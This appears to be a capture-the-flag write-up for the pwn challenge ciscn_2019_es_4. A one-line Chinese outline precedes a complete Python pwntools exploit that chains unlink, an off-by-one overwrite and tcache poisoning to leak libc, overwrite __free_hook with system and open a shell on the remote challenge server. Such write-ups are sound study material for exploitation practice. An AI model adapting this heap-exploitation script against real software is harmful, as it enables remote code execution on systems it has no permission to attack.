思路
先unlink將地址key寫好然後做一次off by one在tcache attack就行了
exp:
#!/usr/bin/python2
from pwn import *
#p=process('./ciscn_2019_es_4')
p=remote('node3.buuoj.cn',25382)
elf=ELF('./ciscn_2019_es_4')
libc=elf.libc
sda=lambda data,data1:p.sendlineafter('%s'%(data),data1)
def add(idx,size,content):
sda('show','1')
sda(':',str(idx))
sda(':',str(size))
p.recvuntil(': ')
address=int('0x'+p.recvuntil('\n',drop=True),16)
p.sendafter(':',content)
return address
def delete(idx):
sda('show','2')
sda(':',str(idx))
def edit(idx,content):
sda('show','3')
sda(':',str(idx))
p.sendafter(':',content)
def show(idx):
sda('show','4')
sda(':',str(idx))
for i in xrange(7):
add(i,0x98,'\x07'*0x97)
address=add(7,0x98,'aaaa')
heap_base=address-0x6c0
add(8,0xf8,'bbbb')
add(9,0x100,'cccc')
for i in range(7):
delete(i)
payload=p64(0)+p64(0x91)+p64(0x602118-0x18)+p64(0x602118-0x10)+'a'*0x70+p64(0x90)
edit(7,payload)
for i in range(10,17):
add(i,0xf8,'\x08'*8)
for i in range(10,17):
delete(i)
delete(8)
for i in range(10,17):
add(i,0xf8,'aaaa')
for i in range(20,27):
add(i,0x80,'\x11'*11)
add(28,0x80,'\x12'*12)
add(29,0x88,'doudou')
add(30,0xf8,'doudou1')
add(31,0x88,'doudou2')
for i in range(20,27):
delete(i)
for i in range(10,17):
delete(i)
delete(28)
edit(29,'a'*0x80+p64(0x120))
delete(30)
for i in range(20,27):
add(i,0x88,'aaa')
#delete(0)
add(1,0x88,'aaaa')
add(2,0x88,'aaaa')
#now 29==2
delete(29)
delete(2)
add(0,0x88,p64(0x06022B8))
add(2,0x88,'aaaa')
add(3,0x88,'\xff\x00\x00\x00\x00\x00')
payload=p64(elf.got['atoi'])+p64(0)*2+p64(heap_base+0xb0)
edit(7,payload)
show(4)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['atoi']
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
edit(3,'\xff\x00\x00\x00\x00\x00\x00\x00')
edit(7,p64(free_hook))
add(10,0xd8,p64(system))
add(11,0x98,'/bin/sh\x00')
log.success('heap_base: '+hex(heap_base))
show(4)
delete(11)
p.interactive()